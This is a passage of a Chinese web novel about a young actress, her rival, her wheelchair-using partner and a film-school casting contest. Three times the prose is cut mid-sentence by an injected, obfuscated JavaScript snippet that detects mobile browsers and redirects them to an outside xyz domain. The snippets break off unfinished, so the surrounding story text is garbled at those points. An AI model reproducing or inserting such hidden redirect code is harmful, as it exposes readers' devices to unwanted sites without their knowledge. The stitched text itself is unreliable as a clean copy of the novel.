只可惜她被圈在江城,无处发挥,一时间既爽快又憋闷,正好第二天没有通告,她让刘榴问陆巡派的那名厨师会不会调酒,晚上她一个人去酒店的bar喝点。 晚上在吧台边的位置还没坐热,何崇尔来了。 程锁锈刚抿一口,看向他,心想今天真是热闹极了:“正好,何老师有没有偏好的口味?让Luca给您调一杯。” 27. 厌烦 何崇尔在她身旁坐下,程锁锈给他介绍:“LucaMoretti,意大利人,巴黎一家米其林二星餐厅的前任主厨,最擅长做沙拉,你知道他对沙拉严谨到什么程度?如果我想用沙拉作早餐,那么他会根据我前一晚的睡眠时间来选用不同的食材……” 何崇尔微微一笑:“听说过,是那位专门给你请来的?” 提到“那位”,程锁锈笑容收敛。 因为陆巡是她最重要的人,她不喜欢和旁人议论他。 但关于这一表情变化,何崇尔有他自己的理解。 “现在微博上正热闹。”他说。 程锁锈不语,何崇尔用利落的英语和Luca交流,Luca表示知道他,还兴奋地列举出他在很多电影中的经典镜头,何崇尔看起来挺受用,Luca说会给他设计一款符合他气质的鸡尾酒,何崇尔道一声“thanks”。 目光又回到程锁锈身上。 “你还是太年轻了,才18岁?” “19岁。”程锁锈更正,“三月时刚过完生日。” “这样啊,现在补一句‘生日快乐’是不是太晚?” 程锁锈配合他的幽默笑。 何崇尔又语重心长说:“所以你刚入娱乐圈,在这个圈子和在这个世界上经历的都不够多,等时间久了就会变平和,能接受一切。还记得我上次和你说的我刚入圈时暗恋别人的糗事吗?现在想想都挺好笑。” 这话听着怎么有安慰人的意思在? 手指在光滑冰凉的杯口边缘摩挲,程锁锈揣摩,何崇尔是不是以为她在因陆巡和安思畅的绯闻而落寞。 而之后那个热搜,可以理解为他们对安思畅的报复,也可以理解为陆巡混淆视听的自保。 她眼珠一动,将话题转移到何崇尔身上:“所以何老师是经历过很多,才能像现在这样处变不惊?” “没有没有,只是更擅长掩饰情绪罢了。” Luca在这时递过酒,圆柱体酒杯自上而下是黑色渐变到白色,饱满滚圆的冰块又用自身的透明破开那如烟如雾的黑,Luca小小的灰绿色眼珠得意地一转,程锁锈用英语夸道:“真的很符合你气质呢,何老师!谢谢Luca。” 何崇尔也对Luca说:“谢谢,我很喜欢。” 尝过一口后,又一番夸赞。 而后看回程锁锈:“但也有掩饰得不好的时候,不是吗?” 沉默许久,程锁锈还是采取将话题转移回他身上的战术:“这么多年了,何老师心就没有过归属?” 38岁了,不知道他有没有隐婚。如果真有另一半,她希望能唤起点他的良心和责任,反正她对这种一时放纵的事没兴趣。 “人总是在追寻能够贯彻一生的忠贞不渝的伴侣,但得失多了就会醒悟,这是一个很可悲的过程,因为人的灵魂终归是孤独的。” “或许吧。” 聊到无话时,程锁锈拿出手机来划了划,#安思畅约会多名小鲜肉#的词条在热搜榜居高不下。 路人嘲讽说:【有叔父撑腰就是有底气,私生活都乱成这样了也不用担心星途。】 还有部分安思畅的粉丝扬言要脱粉,但多半是口嗨,试图以此来激发安思畅的事业心,让她别再乱搞。 吃瓜群众怎么也不会想到安思畅这两条热搜和程锁锈有什么关系,但作为程锁锈大粉的扈嘉怡知道。 所以她领教了安思畅的恶心和无所畏惧。 她用小号混迹在热搜中落井下石,各种阴阳怪气,结果还是被安思畅某粉丝通过她赞过的微博扒出她大号,发现她是程锁锈粉丝:【我说某家就别来恶心人了,真以为搞点事、叫一声“对家”就真能和我们安思畅平起平坐了!】 * 六月底抽空参加了文化考试,七月拍到近亓元帝寿辰的高潮戏份,组里忙成一团,根本无暇顾及其他,程锁锈也是抽空回复陆巡的消息,有时甚至晕头到已读乱回,感谢他不计较之恩。 某天刘榴进程锁锈房间时塞进她手里一封信:“陆总给的。” 程锁锈惊讶:“他怎么不直接寄给我?” 刘榴想了想:“可能是怕魏导知道了不高兴吧。” “……” 现在已经需要谨小慎微到这种程度了吗? 但或许这就是仪式感吧。 捏着信封,纸张的触感微微粗糙,程锁锈确实挺好奇陆巡在里面写了什么,竟也不能在微信上发。 开工前的休息时间不多,刘榴很识趣地离开,程锁锈拆了信封,将其中信纸徐徐展开。 锈锈: 见字如晤。 不知道这封信送到你手里是什么时候,但这写下的夜晚,是我们没有见面的第106天,时间好像和去年意外地重合着。 不同的是,那时候的每一天都是昏暗的,没有期望的,如今的每一天都是倒数的,离你更近的。 很肉麻吧? 不会想到我陆巡还能写下这样的话吧? 会不会以为是代笔? 所以千万别让它被除我们以外的第三个人看到,拜托了。草稿都已经被我丢进碎纸机粉碎。 突然想起去年在维多利亚港的夜,我们大大方方地相依相偎在人群里,一起放纵抽完了一整盒烟,你说害怕在这条路上会和我越来越远,但是我们都相信,对彼此来说我们都只有彼此,对吗? 你还记不记得我们为什么戒烟? 一开始你认识我时,我抽烟,你不抽。 而我抽烟一半是为了耍帅,一半是为了弥补内心的空洞——什么都有了,也不想谈恋爱,可能追求者太多,于是看谁都差点意思,便不知道心里缺的那一块是什么,人生也不过如此。 直到遇见你,我知道缺了的那一块是什么。 看到你陪我抽烟,我突然在某一天觉得这样不好,于是我们商量一起戒掉。而且我们在拥有彼此后都完满了,所以不再需要这样的精神弥补品了,是不是? 所以你对我来说是非常重要的存在。 不用担心分隔会使我们越来越远,我认为这是让爱情更加忠贞和纯粹的考验而已。 想看你实现梦想,发光发亮,这也是让我这位大老板非常有成就感的事。 这段时间里,我在北城认识了些朋友,等你出来后带你一起和他们玩(说得好像你坐牢了一样),我们的房子也装修得差不多了,我还物色了不少北城不错的餐厅,到时候还请锈锈大人一家一家地品评。 请务必将这封信保管好,禁止第三人浏览,见面时也不要提及,因为你男人要面子。 陆巡 7月18日 心里五味杂陈,想哭又想笑。 程锁锈忽然觉得,何崇尔之前的话太过绝对,而她做出的决定都是从心的、正确的,绝不愚蠢——每个人经历不同,她有着最好的。 点开与陆巡的微信对话框,其中内容一直关乎日常,手机里的他和写信的他判若两人,后者的确很肉麻。 或许因为他们真太久没有见面了。 她按照陆巡信中所说,只字不提这件事,只发个【柔弱】的表情包:【我又要去拍摄了。】 八月离开电影城,在各地之间奔波拍外景,月底杀青。 应付完杀青宴,程锁锈坐陆巡安排的私人飞机回北城,只有他一人接机,且没坐轮椅,司机和助理都在外面等。 他给她带了一大捧颜色超正的玫红色弗洛伊德玫瑰,他们在只有他们的世界里拥抱亲吻。 小别胜新婚,除了些必要的工作,他们在北城的别墅里住了小半个月,程锁锈提了辆车——玛莎拉蒂MC20。 上白下黑的外观,她觉得够低调够有气质。 九月初,北城电影学院开学了。 办理完各项入学手续,程锁锈在刘榴的帮助下搬行李到宿舍。 虽然她在北城有住处,但想着万一在学校比较忙,住宿舍能方便点,于是放些基础的生活用品过来。 她和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797017|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘榴寻找着房间,似乎是宿舍楼顶层最靠边的一间。 这层特别安静,几乎无人走动,看样子没住多少人,不知道是不是高年级学生的宿舍,也不知道为什么把她安排到这儿来。 走廊尽头的窗户有长长的白光射入,斜成一细扁的三角,细小的尘埃在这些射线中曼舞。 行李箱滚轮轧过地砖发出冗长的低音,刘榴四处张望,压着声说:“是不是学校特意分配的?这样也挺好,不容易被打扰。” 程锁锈也拿不定原因。 难道北城电影学院还有这样隐秘的规则?会对学生区别对待。 来到房间门口,确认好门牌号,她先敲了敲门,里面无人回应。 又开口询问:“有人吗?” 还是无声。 推开门,屋内却是有人的,以至于没有任何心理准备的程锁锈一时间感到特别惊悚。 安思畅正站在一地乱七八糟的行李旁,回首冲她一笑:“有人哦。” 程锁锈恢复正常表情。 “你安排的?” 她环视屋内,两张上床下桌相对,本应容纳其他人的地方被柜子所代替,整个屋子看起来宽敞又整洁,安思畅继续收拾她衣物:“不然呢?除了我还有谁在北城有这么通天的本事,不过你不用着急感谢我。” “我反胃,好吗?” 想到自己不怎么在这儿住,安思畅肯定也常在外拍戏,且马上要去拍她叔父那造势近一年的《红潮》了,程锁锈懒得在这事上大做文章,刘榴推着她行李箱进来。 安思畅笑:“拍完电影就是不一样啊,又耍起大牌了,上个学还要助理陪。” 刘榴有些尴尬,程锁锈扫过安思畅地上摊开的三只巨大的行李箱:“这是你自己扛进来的?” 安思畅一顿,抛个媚眼:“学长帮忙。” “哦——也是。”程锁锈想了想,“挺符合你。” 安思畅突然感慨:“要不说迟景蓝有福气,莫名其妙就靠着你飞上枝头当凤凰了。” 程锁锈再懒得理她。 刘榴先走了,房内只剩下程锁锈和安思畅两人。安思畅用手机放歌听,两人各自收拾着各自东西,难得持续了一段井水不犯河水的时间,可惜安思畅嘴就是闲不住:“被关在组里这么长时间,挺苦的吧?” 程锁锈依旧不理。 “我们在北城可是很快乐。” 听到“我们”这个词,程锁锈看她一眼。 安思畅若无其事:“对了,今天新生入学,我和学校里一些玩得好的人晚上组了个酒吧局,来不来?” 程锁锈答应得十分爽快:“可以。” “哟,你不和陆巡约会呀?” 程锁锈冷笑一声。 她正闷着一肚子火。 “那加个微信吧,我把晚上的时间和地点发给你。” 夜幕降临,程锁锈戴好墨镜与口罩,全副武装,开玛莎拉蒂冲破街拍者布成的重重关卡,走进安思畅等人包下的酒吧。 一眼扫过去,没熟悉的人,倒是迟景蓝先认出她,“扑通”一声跪到她身前:“锈姐!我的大恩人啊!” “……” 这是还没开始就喝大了吗? 程锁锈烦得要死,不过这么一遭大家都知道她来了。 安思畅在主桌,招呼她加入游戏,程锁锈坐过去,一圈沙发上有不少同校挺出名的演员。 他们正常游戏,正常喝酒,只是安思畅偶尔犯病说一些让程锁锈厌烦的话,她们两人面对面坐。 程锁锈终于抓住机会,抽到一张牌——“在场的人你最讨厌谁”,她直勾勾看向安思畅,而安思畅扬一扬下颌,坦然接受。 不过程锁锈敛了目光:“我能用一种比较特殊的方式来表达吗?” “OK啊。”安思畅十分大方。 程锁锈举起酒杯,满满一杯酒对安思畅泼过去,兜头而下:“我最讨厌你!我拍戏也不过五个月,你在北城成天作妖,恶心谁呢你?” 28. 手下败将 一桌人彻底安静了,只有动感的音乐响。 强烈跳跃着的灯光一会儿照亮一双红色的睁大的眼睛,一会儿照亮一张黄色的张大的嘴巴,各种彩色的惊讶的五官在四周乱飞。 某个瞬间,一道白光将安思畅整个人打亮,酒液将她头发拉成几条长长的海带,贴脸垂下,她整个人如同一只阴湿的女鬼,她今天穿的还是一件长款的暗花白T。 白光又暗下去。 其他人就算反应过来发生了什么也不敢吱声。 “你疯了啊!”安思畅向上捋了把头发,她身边人给她递纸巾擦脸。 她身边那位程锁锈知道,叫“陈叶犹”,和安思畅一样是童星出道,长相清秀寡淡,像邻家女孩,但很有故事感,演技出众,多年来在许多电影作品中饰演配角,也算积累出不小的名气。 “我就是故意缠着陆巡,故意恶心你,怎么了?”安思畅倏然从位置上站起,酒又顺着她身体的轮廓滴滴答答往下流,但她脸已经擦干净了,黑暗里一双眼睛却亮亮的,一食指指过来,“程锁锈,别以为从香港请到Hugo、到北城请到魏仕明你就一步登天了!我就这么和你说吧,明年金鸡奖的最佳影片是《红潮》,最佳女主演是我,最佳导演是我叔父,你算什么东西?” “陪你玩玩就是给你面子了!真以为自己还在南城当公主,全世界都围着你转了是吗?” “好了好了,先别激动。”旁边人说。 看看气势汹汹的安思畅,又看看眼神淡然冷漠的程锁锈,两人一高一低,剑拔弩张,让周围人一时不知该如何是好。 两人前途都不可限量,他们都得罪不起。 只有在安思畅身边的陈叶犹帮安思畅说话,她看程锁锈的眼神轻蔑,完全不怕得罪她:“听到了吗?” “你刚进圈,之前混的也是南城和港城那边,而这两个地方对北城来说根本就不入流,所以你现在不知天高地厚很正常。” “还有你那男人,我都懒得说,谁不知道是个瘸子?你真觉得安思畅很稀罕?你也不看看成天往安思畅身边挤的男人有多少!” “……” 当陈叶犹提到陆巡时,其他一切都在程锁锈脑中自动屏蔽了。 她看陈叶犹的眼神又冷又狠,连安思畅听了陈叶犹的话都害怕,想扯一扯她劝止,又怕在程锁锈面前露怯,掉面子,幸亏陈叶犹说完了,冷哼一声。 毕竟安思畅到现在都没摸清陆巡的底,只知道他确实有实力。 她还记得她当初作死,想让陆巡上热搜,结果圈内大V没一人帮她,后来竟还铺天盖地地黑她,完全不顾她叔父曾潮的面子。 曾潮得知这事,问清她来龙去脉,觉得她做事毫无分寸,很不高兴,可他虽然在电影的拍摄过程中对她严厉,私下却特别惯她:“你怎么就看上这么个人,还要坐轮椅?” “退一万步讲,这天底下坐轮椅的男人也多了去了,你要是真喜欢这款,”他手一挥,“我给你找,什么样的找不到?” “不用了。”安思畅当时这样有气无力地答,“我也不知道为什么。” 想了想:“起初是知道他是程锁锈的靠山,但没想到那么年轻那么帅,还那么有能力!先请到Hugo,再请到魏仕明,然后来北城和那么多圈内人打成一片……程锁锈之后从《破剑华》组里出来后代言不会少,连出了事媒体都在我们之间选择他,我就是不服气!他坐轮椅我也不嫌弃,反而觉得这一点让他这个人更神了。” 曾潮听完之后笑:“我是不懂你脑袋里装的什么。” “可能死活得不到的就是最好的。”她喃喃。 “叔父——”她又撒娇,“就不能去查查陆巡这个人什么来头?一个南城人,竟然能去港城请得动Hugo?还让Hugo情愿来内地生活,就为了捧程锁锈?程锁锈有那么大魅力?她真就那么好看么?” 越说越心急,曾潮只是摇头。 安思畅就觉得陆巡深不可测。 并且为自己能在北城折腾他一段时日而感到得意,哪怕是引他反感。 ——哪个男人对她反感过? 如今在酒吧,陈叶犹说出这样的话,安思畅替真正不知天高地厚的她感到害怕,拉住她手,看程锁锈离开:“今天的话我都记住了,那你们玩吧,我先走了。” 不过以程锁锈那假清高的脾性,她应该不会把陈叶犹的话转述给陆巡吧,安思畅思忖。 程锁锈一走,其他人才马后炮一样叽叽喳喳起来:“天啊,百闻不如一见,这个人怎么这么狂?” “思畅,要不换身衣服吧?附近有一家商场,我替你去买一件?” 安思畅用纸巾拭着头发:“没事,让我助理去就行,我们继续。” “是啊,不用和她计较。如你所说,她刚进圈什么都不懂,自以为起点高就了不起,殊不知她在真正的奖项上根本没胜算,就像曾经的魏导在曾导面前一样——手下败将。” 安思畅赶紧摆手,脸上却笑着:“哎——这话可不好乱说。” 那人笑着点头:“嘿嘿,我懂!” * 程锁锈当然不会把陈叶犹的话转述给陆巡。 回家的路上车水马龙,她思绪万千。 终于脱离市中心,车拐入别墅小区后如释重负。莹白灯光照得一丛一丛被精修过的植物亭亭玉立,随风轻曳,让人心情好了些。 可进入卧室,陆巡靠在床上看电影,还是注意到她不自觉轻锁在一起的眉头:“怎么了?你们直接吵起来了?” 据他了解,程锁锈可不会在这种事上吃亏。 “那倒没有,就是听了一些话,洗漱后再和你说吧。” 从浴室出来,程锁锈在陆巡身边躺下,却一顿:“你喝酒了?” 他身上洗发水与沐浴露的清香盖不住酒味,这酒味也绝不是她身上的。 “嗯……” 陆巡懒洋洋应一声,眼神都不给她半分,明显想让她揭过不提。 怎么可能? 程锁锈一个翻身,跪到他身上,双手掐住他脖颈,俯下身与他四目相对。 鼻尖凑近他双唇仔细地闻,哪怕他洗漱后残存的酒味若游丝,还好,啤的。 她刚要说什么,鼻尖一阵痛感,她一句“我靠——”只喊出一半,赶紧往后躲——陆巡竟然咬她的鼻子! “你是狗吗?”她眼里有了怒意,“你知道女明星的鼻子有多珍贵吗?” 陆巡当没听见,继续咬她的唇,程锁锈激烈反抗,两人又在床上扭打成一团。 可程锁锈这次没心情和他玩闹,迫不得已是因为两人力量悬殊,她看他的眼神一直非常生气,得了机会就对他输出:“你忘了你之前因为胃病住过院吗?万一又犯病了怎么办?什么人那么重要,像魏仕明一样,值得你冒这个风险再喝酒?” 陆巡不语,这次换他一手握住她脖颈,拇指与食指向上,紧紧地卡着她半张脸,让她说话艰难。 薄弱处被温热所填满,程锁锈暂时咽下所有未出口的话,在悲伤情绪里闭上眼,不断地上下晃动着,不自觉轻哽。 陆巡手肘弯曲,两条小臂在她的面颊两侧,低下头换做极其温柔、如雨点般密集的吻,吻掉她眼角溢出的泪,咸咸的。 等一切归于平静,程锁锈整个人如同一团被揉得乱七八糟的浴巾瘫在床上,看陆巡从浴室里出来,将话说完:“我就是在想,我们每天这么拼命是为了什么?” “怎么了?”他用毛巾擦着头发,看她一眼,“今天谁跟你说什么了?” “安思畅说,明年金鸡奖的最佳影片是《红潮》,最佳女演员是她,最佳导演是她叔父。” “她在情急之下说出来的,不像假的。” “所以你就挫败了?” 陆巡笑,程锁锈也笑。 “所以你是怎么把她给逼急了的?” 程锁锈想了想:“也就是泼了她一杯酒吧……” * 刚开学,北城电影学院就发生大事,先是宣传栏——这种根本就不会有人看的地方张贴出一幅巨大的黑白海报,内容是狄伦导演将在校内公开海选下一部电影的女主演。 这样的选人方式实属罕见,何况做出这事的还是狄伦。 这样随性的行为与他名气不符,可想到他一直是电影界中的一股清流,又觉得他做出这件事不奇怪。 狄伦原名“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803764|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狄小军”,如今五十多岁,属于大器晚成型导演,只出过两部悬疑类影片,但都在国内反响强烈。 因为他作品不落俗套,甚至在国际范围都有着开拓性意义。只不过好作品需要打磨,他大约五年才出一部电影。 “这么重量级的导演和影片怎么可能这么草率地选女主演?” “只选女主演吗?有意思。你品,你细品。” “这是给咱学校里哪位大腕挖的萝卜坑?” “是啊,看海报上说,其他演员都已经定好了,就这位女主演拿不定人选,我说狄导要是看上谁了能不能直接去联系?这么弯弯绕绕,不知道要浪费多少人精力去陪跑。” “学校没有正式通知,光在宣传栏上挂一张海报,消息是真是假还不知道,就靠我们在这叽叽喳喳地讨论,这是要从选角就开始炒作了。” “未必。狄导的第一部作品就是零宣传,完全靠内容和口碑来实现大逆转,一鸣惊人,只为了炒作不像是他的做事风格。” “嗐,知人知面不知心,都过去这么多年了,如今流量为王,谁知道呢?” …… 程锁锈在学校处处能听闻关于这事的讨论。 她先从朋友圈存了张海报图片,发给安思畅:【这你不回来?】 没想到安思畅在《红潮》组里也能秒回:【与我何干?】 如众人所说,这机会可遇不可求,既然她这么不正经聊天,程锁锈也就不回了。 【你不觉得这角色特适合陈叶犹么?】安思畅却说,【既然我的好朋友喜欢,那我就不好夺人之美啦。】 【……你是真自信。】 【可惜了,这角色不适合你,你现在一定急得团团转吧?】 根据海报上的介绍,这部悬疑电影名为《我在看你》,女主角是一普通女孩,程锁锈首先在外型上出局。 但她还是给Hugo打电话,大体说了下情况:“我想试试。” “那就试试。”Hugo很爽快,“就当作一次练习演技的考试。” “原来您这么想?”程锁锈笑。 “嗯?那你怎么想?”Hugo思索片刻,“这个角色可不大适合你。” 说的和安思畅一模一样。 “这点您放心,我心里有数。只是您突然说就当作一次练习,我反而有点逆反地想,我为什么就一定不能被选上?” Hugo了解她性格,笑。 于是程锁锈提交简历,报名参加《我在看你》的女主演校内海选。 第一轮是分组即兴表演,第二轮是指定剧本片段表演,她一路通过,直到第三轮——狄伦导演亲自面试,给参选者十分钟阅读《我在看你》的剧本片段,时间到后立刻表演,最后筛选出三人:程锁锈、陈叶犹、一名名不见经传的大四女生。 彼时三人并排站在学校排演厅台上,狄伦穿一身黑色中山装,冷峻的视线扫过三人,按顺序先对程锁锈进行点评:“你显然不适合这个角色,可你在所有参选者中的综合实力最强。” 他不说话时,整个空间就静得可怕,连呼吸声都不可闻。 他继续说:“你在前两轮中的录像我反复看了好几遍,所以我甚至有点怀疑自己,我是不是把这个角色设计得太平了?” “她会不会也像你现在这样,虽然尽力让自己外表看起来普通,可实际潜藏着锋芒,你都让我产生想设计些新可能的冲动了。” “至于陈叶犹,”他看过去,“一个字:稳。” “无功无过,是最理想人选。” 评价完第三名女生,他通知三人最后一次考核的时间及地点,内容是直接试镜:“我看你们今天为了迎合考题,都戴了假发,你们也知道这个角色是齐耳短发哈。” 三人一瞬不瞬地看着他,他说:“但你们知道,我不会允许演员在我的电影里戴假发,哪怕是试镜。所以下次见面时,请带上诚意来。” 他露出个看似友好实际狡黠的笑,起身离开。 三人现实中都一头长发。 大四的女生有些惊讶,大概心想:我第一次和名导接触,名导都这样吗? 程锁锈则和陈叶犹相互看一眼。 29. 道歉 如今她们都算有些名气的演员,剪头发这事非同小可。 何况剪完能不能被选上还未可知。 被选上还好,如果落选了简直得不偿失。 每个人心里都在打算盘。 偏偏狄伦对二人的评价让二人现在的可能性对半开,那位大四女生的可能性则有些小,她先离开了,或许也嗅到程锁锈与陈叶犹之间气氛紧张。 陈叶犹知道,自己就是最合适的人选,可狄伦对终极试镜的奇怪要求提醒她:他不是个走寻常路的人。谁知道他回去之后会不会变主意? 说不定他越琢磨越欣赏程锁锈,真就把电影人设给改了呢?如今在程锁锈身上发生的事也都不怎么符合常理,她叫程锁锈:“喂。” 程锁锈刚收回目光,再次看向她。 陈叶犹说:“到此为止吧,我和这个角色、这个电影都很契合,难道你就没提前和你经纪人商量过?你根本就不是这一挂的。而且这不是比赛,你非得到最后一轮和我争个高低么?” “既然你最契合,我争不过,那也是我白白损失头发而已,你不应该幸灾乐祸?”程锁锈眼神很无辜,反问,真真绿茶到极致。 言下之意就是:你在害怕。 陈叶犹一时被噎得说不出话,程锁锈转身就走。 “你他妈还真要去剪头发啊!我招你惹你了?” “因为我也想试试啊!”程锁锈回头,“凭什么我不合适,你最合适,就要选你?我明明哪里都比你胜出一大截。连狄导都意识到我是多么出众,想要做出取舍,考虑要不要润色角色,毕竟你不觉得,这个女主人设在这部电影里确实太单薄了吗?如果可以完善,那我和这部电影就不单单是契合,而是相互成就了。” “你……” “你资源那么多,何必……” “那个大四女生的资源更少,你怎么不让给她?”程锁锈补最后一刀,“这么多年了,你一定很想演一次女主吧?” “……” 她能感觉到陈叶犹的咬牙切齿。 试镜的时间在后天,迫在眉睫,程锁锈和陆巡打了声招呼,说自己这两天不回别墅了,住学校,并警告他:【禁止饮酒。】 陆巡就回一个字:【好。】 程锁锈顿时后悔自己将两件事放一块说,给了陆巡机会钻漏洞:这个“好”字回复的是她这两天不回家,还是答应她不喝酒? 她发个揍他的表情包,剪头发去了。 当晚安思畅一通视频电话打来,程锁锈正在宿舍。 这宿舍没了安思畅果然舒坦,程锁锈故意把手机放在桌面上,没照到自己脸,接通后说:“谢谢你给我安排的单间啊,宝宝。” “嘿,你人呢?让我看看你。” “怎么了?” “明知故问!” 程锁锈才懒洋洋地将手机立起,画面中出现她齐耳短发的脸。 安思畅惊叫:“你真剪了?!” “剪个头发而已,有什么大惊小怪?” “我靠,你这个样子真……”安思畅凑近了,直勾勾地盯着屏幕,似乎不能适应这样的程锁锈,有点像机械姬,再想到狄伦那电影里的女主角人设,“我是真不懂……” “那这样呢?” 程锁锈勾过一副黑框眼镜,戴上,立刻就有悬疑电影中阴暗女人的感觉了,安思畅想到狄伦竟产生为她而改动角色的想法,沉默。 两人各怀心思,程锁锈忽然说:“要不你和陈叶犹说一声吧,我可以放弃这个角色,但我有条件。” “你说你可以放弃,但你把头发剪了?” “因为我有条件啊。”程锁锈漫不经心地捋着头发,“而且说难不难,说容易也不容易的。” 安思畅想了想:“那就别卖关子了。还有,你们两个的事,你们两个自己谈条件,别把我给扯进去。” 她可能害怕损害到她利益。 “那当然,但你得搭个桥。” “怎么搭?” “明晚吧,还是上次那酒吧,你再包个场,定个时间,我要和陈叶犹单独见一面。” “……行。” “但你可千万别动手啊!现在这个社会,大家都是文明人了,你也文明一点行不行?” 程锁锈翻个白眼。 虽然不知道她葫芦里卖的什么药,安思畅还是照做:“行,那我到时候告诉你具体时间。” 陈叶犹到酒吧时,也剪了一头齐耳短发。 偌大空间里没有其他任何人,一片漆黑中五彩斑斓的光圈四处跳跃,低低地放着变奏音乐,程锁锈在主位的红色沙发上坐着,也是短发,这一幕诡异极了。 陈叶犹来到她身前,看程锁锈又戴了副黑框眼镜。她双腿交叠着坐,抬眼的一瞬,真有点电影里幕后大佬的意思。陈叶犹在她身前站定,别起手:“听安思畅说了,你要开条件,说吧。” “跪下来给我道歉。” “道什么歉?”陈叶犹睁大眼,“还要跪下?你以为这是在演电影吗?” “因为这样才显得有诚意。”程锁锈很平静,“你自己说过的话自己都忘了?好像才过去没多久吧?就在这个地方,几乎一模一样的情景,你要不要再回想一下?” 陈叶犹一动不动,表情和身体都很僵硬。 “我说,这时候就别顾什么面子了,都做了这么多年配角,该翻身了。”程锁锈慢悠悠地说,“黄金时期都快过去,就不想十拿九稳地演一次主角吗?” “所以你做这么多,就为了让我这样和你道歉?”陈叶犹眼睛又睁大一分,感到不可理喻。 “我都可以。”程锁锈一摊手,“演这个角色也行,不演也行,毕竟你们都说了,这角色一看就不是我的菜,可万一狄伦导演那么才思敏捷,灵机一动,就想为我改动一下呢?不过对我的生涯来说意义不大。” “但我知道这个机会对你来说实在太太太重要了——配角专业户。” “……” “你说话算话?” “当然。” 陈叶犹似乎将自己说服,慢慢在她面前跪下:“那我和你道歉,我那天不该帮安思畅说那么重的话,也是一时情急了。” 她看程锁锈:“这样行了吗?” “还要给我的男人道歉。” “什么?” 程锁锈不语,陈叶犹不可思议。 但还是在酝酿好后开口:“好,那我给你的男人道歉。我那会儿不该说那么难听的话,虽然我也不了解他,但既然能让安思畅着迷这么长时间,肯定是个很有定力很优秀的人,挺牛……” 程锁锈“扑哧”一声笑了:“你是真没话了。” “那这样行了么?” “行了。” 陈叶犹缓缓从冰凉的地板上起来:“所以你退出海选?” “我退出。”程锁锈也从沙发上站起,“恭喜你。” 陈叶犹看着她那头短发,心里极度复杂,像无数股麻绳紧紧地拧在一起,难分难解,张了张嘴,最后也只蹦出两个字:“疯子。” ——“睚眦必报,死恋爱脑。” 程锁锈:? “我劝你说话冷静点,虽然我理解你即将有主演的电影了很激动,”她道,“但别让我再记仇、再得到机会整你一次了,好吗?” “那中肯的话听不听?” “说。” “虽然我上次说话确实冒犯,但你真的太恋爱脑了。你看我们演艺圈里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815973|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人,有哪个像你这样?”陈叶犹的表情确实挺无奈,“我知道你和你男人感情好,但他对你好、离不开你也是理所应当的吧?” “你应该清楚你自己什么条件,他在你身上砸钱、用你赚钱,还睡你,把你整个人容貌和身体的价值榨得一干二净,你受着就行了,竟然还这么痴心,做出这么多事来,真有点可怕。我都可惜你那头长发。” 程锁锈想了想,轻笑一声:“你有这精力还不如去劝劝安思畅。” * 《我在看你》进行女主演试镜的当日,程锁锈给陆巡打电话,问他晚上在不在别墅,她回去住。 陆巡之前在信里说要带她体验北城几家不错的餐厅,可碍于她身份,并不方便,何况她包裹得严严实实地去吃饭也不快乐,于是他将那些餐厅的主厨挨个请到别墅里来,说今晚再请一位。 程锁锈一进门,陆巡就看到她利落的短发。 难得他愣神。 “退出了也要剪头发?” “没办法,我敬业啊。” 但他挺快接受了这件事,慢慢走到她面前来,抱住她,程锁锈说:“好难啊。” “什么好难?” 这是她发自内心的一句感叹。 她脑袋靠到陆巡肩头,耳边一撮头发立刻随歪过的脸而扫下来,她仍不太适应这么短的发丝,说:“想拿影后好难。” 她忽然明白了安思畅叔父是曾潮的含金量。 陆巡才知道她有了这份野心,好笑地拍拍她肩膀:“这不才刚开始。” “但有人一开始就是。” “没办法。” 程锁锈抬头看他:“我就是在想,你说要好好走这条路,为此我们两个都付出了太多,那我不应该拿下最高的荣誉才行吗?可对于某个人来说,这只是起点。” “先吃饭吧。” 他拉起她手,走进屋:“你这头发还挺可爱的。” 程锁锈也就先不想其他,笑了。 她又挽住他胳膊撒娇:“那你帮我和Hugo说说嘛。” “怎么了?” 陆巡看她:“他还不知道你剪了头发?” 程锁锈才像做错事的小孩,点头,“嗯”一声,下一秒,两个人一起笑得停不下来。 * 突然变成短发,一些杂志倒还好,觉得这一造型挺亮眼,就是一些代言更青睐于她原先的长发形象,拍摄时需要她佩戴假发。 这些事都交由Hugo去沟通处理。 《我在看你》的女主演海选结果公布出来,是陈叶犹。 校内议论说:意料之中,下次能不能请导演直接去和这些有名气的演员联系,免得还得走个过场,浪费人力财力物力。 他们也都听说程锁锈中途退出的消息,不觉得奇怪,因为都知道这角色和她不搭。只是学校里两位名人同时剪短发挺有意思的。 